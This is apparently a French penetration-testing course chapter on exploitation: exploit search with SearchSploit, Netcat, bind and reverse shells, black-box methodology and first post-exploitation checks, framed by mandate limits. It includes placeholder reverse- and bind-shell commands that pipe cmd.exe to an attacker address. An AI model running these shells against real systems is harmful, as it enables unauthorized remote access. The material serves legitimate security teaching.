Chapitre 9 : Exploitation

Exploitation

De la Vulnérabilité à l'Accès

Rechercher un exploit public, maîtriser les bases de Netcat et des shells, puis mettre en pratique une méthodologie complète en conditions "boîte noire".

1. Recherche d'Exploits

SearchSploit, bases publiques, et adaptation d'un exploit trouvé.

2. Bind & Reverse Shells

Netcat, la brique de base de tout accès à distance.

3. Méthodologie Complète

Mise en pratique en conditions boîte noire, Windows et Linux.

Objectifs pédagogiques

Objectifs

Ce chapitre ne consiste pas à lancer un exploit au hasard. L'objectif est de comprendre quand une vulnérabilité est exploitable, pourquoi elle l'est, comment choisir la bonne technique et comment transformer un accès initial en session exploitable.

01 — Identifier

Relier une version de service, une configuration et une vulnérabilité à une surface d'attaque concrète.

02 — Exploiter

Choisir entre exploit public, module, faiblesse d'authentification, upload ou shell selon le contexte.

03 — Valider

Confirmer l'accès, comprendre le niveau de privilège obtenu et préparer la suite de la méthodologie.

ReconnaissanceÉnumérationVulnérabilitéExploitationAccèsPost-exploitation

Introduction à l'Exploitation

Concepts

De la Vulnérabilité à l'Accès Effectif

  • L'exploitation est l'étape qui transforme une vulnérabilité identifiée (chapitres précédents) en un accès réel sur le système cible.
  • Elle s'appuie sur tout ce qui précède : reconnaissance, énumération, évaluation des vulnérabilités — sans cette base, l'exploitation revient à tâtonner à l'aveugle.

Cycle complet d'une exploitation

Méthodologie

L'exploitation n'est pas une action isolée. Elle se situe entre l'identification d'une faiblesse et l'obtention d'une preuve d'accès. Chaque étape doit réduire l'incertitude avant de passer à la suivante.

SurfaceServiceVersionVulnérabilitéPréconditionsExploitPayloadSession

Ce qu'on cherche

  • Quel composant est réellement vulnérable ?
  • Quelle condition permet de déclencher la faiblesse ?
  • Quel niveau d'accès peut être obtenu ?
  • Quel vecteur de retour réseau est possible ?

Principe

Plus l'hypothèse est précise, plus le choix de l'exploit est déterministe. Une exploitation réussie doit être explicable, reproductible et documentable.

Comprendre l'exploitation

Concepts

Vulnérabilité ≠ Exploit ≠ Accès

  • Vulnérabilité : faiblesse dans un logiciel, une configuration ou un mécanisme.
  • Exploit : méthode ou code qui déclenche cette faiblesse.
  • Payload : action exécutée après le déclenchement, par exemple ouvrir une session.
  • Session : résultat opérationnel permettant d'interagir avec la cible.

Question à se poser

Service identifié
      ↓
Version / configuration
      ↓
Vulnérabilité plausible
      ↓
Exploit compatible ?
      ↓
Quel accès obtenu ?
      ↓
Quel niveau de privilège ?
Point : une exploitation fiable commence par une hypothèse technique précise. Plus l'énumération est bonne, moins on dépend du "trial and error".

Vulnérabilité, exploit, payload et session

Concepts

Vulnérabilité

Faiblesse dans un logiciel, une configuration ou un mécanisme d'authentification. Elle ne signifie pas automatiquement qu'un accès distant est possible.

Exploit

Technique ou code qui déclenche la vulnérabilité en respectant ses préconditions : version, protocole, architecture, état du service, authentification, etc.

Payload

Action exécutée après le déclenchement de l'exploit : commande, shell, Meterpreter ou autre charge adaptée au scénario.

Session

Canal d'interaction obtenu après l'exécution du payload. Elle devient le point de départ de la collecte, de la validation des privilèges et de la suite du test.

À retenir : un exploit peut fonctionner sans fournir immédiatement le niveau d'accès attendu. Il faut donc distinguer clairement exécution de code, shell obtenu et privilèges obtenus.

Avant de lancer un exploit : validation

Méthodologie

Checklist technique

  • Version exacte du service.
  • OS et architecture si connus.
  • Port et protocole réellement exposés.
  • Authentification nécessaire ou non.
  • Conditions préalables de l'exploit.
  • Type d'accès attendu : user, root, SYSTEM, shell, etc.

Pourquoi éviter le lancement aveugle ?

Un exploit peut provoquer un crash, redémarrer un service, créer une session instable ou modifier l'état de la cible. Dans un pentest, on cherche à obtenir la preuve de compromission avec le minimum d'impact nécessaire.

Validation avant exploitation

Préconditions

Avant d'exécuter un exploit public ou un module, vérifier ses préconditions. C'est souvent cette étape qui explique la différence entre un test propre et une succession d'échecs.

Version & plateforme

  • Version exacte du logiciel.
  • OS et architecture.
  • Édition du produit lorsque cela compte.
  • Build ou patch si disponible.

Service & exposition

  • Port et protocole.
  • Interface réellement accessible.
  • Authentification requise.
  • Filtrage réseau éventuel.

Conditions d'exploitation

  • Compte nécessaire ou accès anonyme.
  • Fichier ou paramètre contrôlable.
  • Configuration particulière.
  • Privilèges nécessaires avant exploitation.

Risque opérationnel

Certains exploits peuvent provoquer un crash ou une interruption du service. Prévoir une stratégie d'arrêt et documenter les actions effectuées.

Rappel — Banner Grabbing & Scan de Vulnérabilités

Rappel

Identifier Précisément un Service avant d'Exploiter

# Version + OS
nmap -sV -O @IP_cible

# Bannière via un script dédié ou directement en Netcat
nmap -sV --script=banner @IP_cible
nc @IP_cible <port>

# Rechercher un exploit correspondant à la version trouvée
searchsploit <nom_service>

Rechercher des Exploits Publics

SearchSploit

Sources Publiques

  • Exploit-DB centralise des exploits publics vérifiés par la communauté ; SearchSploit en est la version consultable hors-ligne, déjà utilisée aux chapitres précédents.
  • Toujours croiser la version exacte du service avec l'exploit trouvé avant de l'utiliser.

Adapter un Exploit Trouvé

  • Un exploit public nécessite souvent des ajustements : adresse IP/port cible, offsets mémoire, ou architecture (32 vs 64 bits).
  • Cross-compiling : recompiler un exploit écrit en C pour l'architecture exacte du système cible avant de l'exécuter.
  • Ne jamais exécuter un exploit public sans en comprendre le fonctionnement — un code non maîtrisé peut avoir des effets secondaires imprévus sur la cible.

Recherche d'exploits — Lire le résultat

SearchSploit

Recherche progressive

searchsploit apache 2.4
searchsploit "Microsoft IIS"
searchsploit -w <ID>
searchsploit -x <path>

Interpréter

  • Le résultat indique qu'un exploit public existe, pas qu'il fonctionnera automatiquement.
  • Comparer produit + version + OS + prérequis.
  • Lire le code avant exécution et identifier les paramètres à adapter.
  • Une référence CVE aide à retrouver la documentation et les versions concernées.
Workflow : identifier → rechercher → lire → adapter → tester → documenter.

Netcat — Les Fondamentaux

Netcat

Options Essentielles

  • -l : mode écoute (listener). -v : verbeux. -n : pas de résolution DNS.
  • -u : utiliser UDP au lieu de TCP. -e : exécuter une commande à la connexion.
  • Sous Windows, l'exécutable équivalent est nc.exe.

Usages Courants

# Se connecter à un port distant
nc -nv @IP_cible <port>

# Transférer un fichier via Netcat
nc -nvlp <port> > fichier_recu   # côté récepteur
nc -nv @IP_cible <port> < fichier_a_envoyer

Netcat — Comprendre la couche réseau

Netcat

Pourquoi Netcat est important

Netcat fournit une interface très simple entre stdin/stdout et une connexion TCP ou UDP. C'est donc un excellent outil pour vérifier qu'un port répond, transmettre des données ou comprendre le comportement d'un shell.

  • Client TCP/UDP
  • Listener
  • Transfert de données
  • Base des reverse/bind shells

Diagnostic simple

nc -nv @IP_cible 80
nc -nvlp 4444
nc -zv @IP_cible 1-1000

Le premier teste une connexion, le second écoute, le troisième vérifie l'accessibilité de ports.

Bind Shell vs Reverse Shell

Shells

Concepts

  • Bind shell : la cible ouvre un port en écoute, l'attaquant s'y connecte — bloqué si un pare-feu filtre les connexions entrantes vers la cible.
  • Reverse shell : la cible se connecte vers l'attaquant — contourne les pare-feux classiques qui filtrent surtout le trafic entrant.
  • Ressources de référence : "Payloads All The Things" et "Reverse Shell Generator" recensent des payloads prêts à adapter selon le langage disponible sur la cible.

Exemples Condensés

# Bind shell (écoute côté cible)
nc.exe -nvlp <port> -e cmd.exe        # cible
nc -nv @IP_cible <port>               # attaquant se connecte

# Reverse shell (la cible se connecte vers l'attaquant)
nc -nvlp <port>                       # attaquant en écoute
nc.exe -nv @IP_attaquant <port> -e cmd.exe   # cible

Reverse Shell — Ce qui se passe réellement

Shells

Un reverse shell n'est pas "magique" : le processus exécuté sur la cible ouvre une connexion réseau vers l'adresse/port de l'attaquant puis rattache son entrée/sortie à cette connexion.

1. Listener

L'attaquant écoute sur LHOST:LPORT.

2. Connexion

La cible initie une connexion sortante vers le listener.

3. I/O

Les flux stdin/stdout/stderr sont transportés sur la connexion.

Diagnostic : si le shell ne revient pas, vérifier IP d'écoute, routage, firewall, port, NAT et compatibilité du payload avec l'OS.

Comprendre le chemin réseau d'un shell

Réseau

Reverse shell

La cible initie une connexion vers l'écouteur. Il faut donc que la cible puisse atteindre l'adresse et le port d'écoute depuis son propre réseau.

Cible ──TCP──> Attaquant
src:port_éphémère → LHOST:LPORT

Bind shell

La cible écoute localement sur un port. L'attaquant doit pouvoir établir une connexion vers ce port.

Attaquant ──TCP──> Cible
dst:RPORT

Diagnostic en cas d'échec

Vérifier successivement : adresse IP correcte → interface d'écoute → routage → pare-feu local → filtrage intermédiaire → NAT → port → protocole → compatibilité du payload.

Un shell est avant tout une connexion réseau transportant une entrée/sortie. Comprendre ce chemin permet de diagnostiquer un échec sans changer d'exploit au hasard.

Shells — Choisir selon le chemin réseau

Shells

Bind shell

  • La cible écoute.
  • L'attaquant doit pouvoir atteindre le port entrant.
  • Simple dans un lab ou réseau peu filtré.

Reverse shell

  • La cible initie la connexion.
  • Souvent utile lorsque les connexions entrantes sont filtrées.
  • Il faut néanmoins qu'un chemin réseau sortant existe.
Toujours raisonner en termes de source → destination → protocole → port → filtrage → routage, plutôt qu'en termes de commande uniquement.

Choisir un vecteur d'exploitation

Décision

Authentification

Tester d'abord les accès anonymes, comptes par défaut ou mécanismes faibles lorsque le service les expose.

Application

Rechercher upload, injection, traversal, désérialisation ou autre entrée contrôlable selon la surface identifiée.

Service vulnérable

Comparer la version et la configuration avec une vulnérabilité documentée avant de choisir un exploit.

ObservationHypothèseTest minimalRésultatExploit si confirmé
Règle : ne pas choisir la technique parce qu'elle est disponible dans un outil. La technique est choisie parce qu'elle correspond aux propriétés observées sur la cible.

Frameworks d'Exploitation

Frameworks

Metasploit (rappel)

  • Déjà détaillé au chapitre 8 — reste le framework généraliste de référence pour l'exploitation et la post-exploitation.

PowerShell Empire

  • Framework de post-exploitation orienté PowerShell (Windows) et Python, fonctionnant sur un modèle client/serveur avec des agents.
  • Une alternative à Metasploit pour la gestion d'accès multiples dans un environnement principalement Windows.

Après l'accès initial : que faire ?

Post-exploitation
whoami / getuidhostname / sysinfoipconfig / ifconfigprocessusutilisateursservicescredentialsroutes

Objectif immédiat

Déterminer qui suis-je, où suis-je, quels privilèges ai-je et quelles ressources puis-je atteindre ?

Ne pas brûler les étapes

Avant de chercher une élévation de privilèges, identifier l'environnement, les interfaces réseau, les comptes, les processus et les chemins vers d'autres systèmes.

Après l'accès : établir la situation

Post-Exploitation

Un shell obtenu n'est pas la fin du raisonnement. La première tâche consiste à caractériser précisément la session avant toute action supplémentaire.

IdentitéSystèmePrivilègesRéseauProcessusUtilisateursServicesRoutes

Questions immédiates

  • Quel compte exécute le shell ?
  • Quel est l'OS et sa version ?
  • Quelles interfaces et routes sont disponibles ?
  • Quels autres hôtes sont potentiellement accessibles ?

Pourquoi ?

Ces informations déterminent la suite : élévation de privilèges, accès à un autre service, pivoting, collecte ciblée ou arrêt du test.

Exploitation et élévation de privilèges

Privesc

Accès initial

L'exploit peut fournir un compte applicatif, un shell utilisateur ou une session avec des privilèges limités.

Privilège

La question suivante devient : quelle faiblesse locale permettrait d'augmenter ces privilèges ?

Collecte initiale

# Linux
id
sudo -l
uname -a
ps aux

# Windows
whoami /all
systeminfo
tasklist
ipconfig /all

Méthodologie Boîte Noire — Windows

Black Box Windows

Démarche Type (Étude de Cas)

  • 1. Scan large : couvrir les 1000 premiers ports avec détection de version et export structuré (-oX) pour garder une trace exploitable.
  • 2. Énumération service par service : chaque service trouvé (IIS/FTP, OpenSSH...) est traité avec les techniques déjà vues aux chapitres précédents.
  • 3. Tentative d'accès : identifiants faibles/anonymes en priorité, exploitation d'une CVE connue en second recours.
  • 4. Accès : upload d'un payload si le service le permet (ex: FTP autorisant l'écriture), sinon exploitation directe de la vulnérabilité.

C'est l'exercice qui rassemble tout ce qui a été vu depuis le chapitre 2 : rien de nouveau techniquement, mais l'important est l'enchaînement méthodique, sans indication préalable du point d'entrée.

Méthodologie Boîte Noire — Linux

Black Box Linux

Démarche Type (Étude de Cas)

  • Même logique que côté Windows : scan → énumération → tentative d'accès → exploitation.
  • Les services ciblés dans cet exercice (vsFTPd, SAMBA) ont déjà été traités en détail aux chapitres 3 et 6 — l'objectif ici est de les retrouver soi-même sans savoir à l'avance lequel est vulnérable, exactement comme lors d'un vrai mandat.

Méthodologie d'exploitation boîte noire

Workflow
1. Scan2. Enum3. Fingerprint4. Hypothèse5. Validation6. Exploit7. Session8. Post-exploit

Règle pratique

Ne pas commencer par "quel exploit puis-je lancer ?" mais par "qu'est-ce que j'ai découvert et quelle faiblesse explique ce comportement ?". Cette approche réduit les essais inutiles et facilite la restitution du finding.

Prouver l'exploitation sans sur-exploiter

Pentest

Preuves utiles

  • Identité du compte compromis.
  • Hostname / système.
  • Version vulnérable.
  • Commande non privilégiée démontrant l'accès.
  • Preuve contrôlée d'un privilège élevé lorsque le mandat l'autorise.

Limiter l'impact

Éviter la destruction de données, la persistance non nécessaire, l'exfiltration massive ou les actions qui dépassent l'objectif de preuve. Documenter exactement ce qui a été exécuté.

Évasion Antivirus — Ce qu'il Faut Savoir

AV Evasion

Un Sujet Volontairement Non Détaillé Ici

  • Il existe des techniques (empaquetage de payload dans un exécutable légitime, obfuscation de code) conçues spécifiquement pour contourner la détection antivirus/EDR.
  • Ces techniques sortent du cadre de ce cours : elles sont explicitement pensées pour déjouer des contrôles de sécurité, et leur usage réel nécessite un encadrement contractuel et éthique encore plus strict que le reste du programme.
  • Ce qu'il faut retenir à ce stade : la plupart des antivirus modernes détectent déjà les payloads MSF non modifiés — un test réel doit toujours vérifier ce qui est réellement autorisé par le mandat avant d'aller plus loin sur ce terrain.
Diapositive 1 / 11

Synthèse & Methodology Checklist — Chapitre 9

Récapitulatif

Checklist Pratique — Exploitation

  • 1. Toujours confirmer la version exacte d'un service avant de chercher un exploit correspondant.
  • 2. SearchSploit en premier réflexe, en croisant toujours avec la version réelle observée.
  • 3. Netcat reste l'outil de base pour tout shell — comprendre bind vs reverse avant d'utiliser un framework.
  • 4. Une démarche boîte noire suit toujours le même enchaînement : scan → énumération → accès → exploitation, quel que soit l'OS.
  • 5. Rester dans le cadre du mandat — certaines techniques (évasion AV) exigent une autorisation encore plus explicite.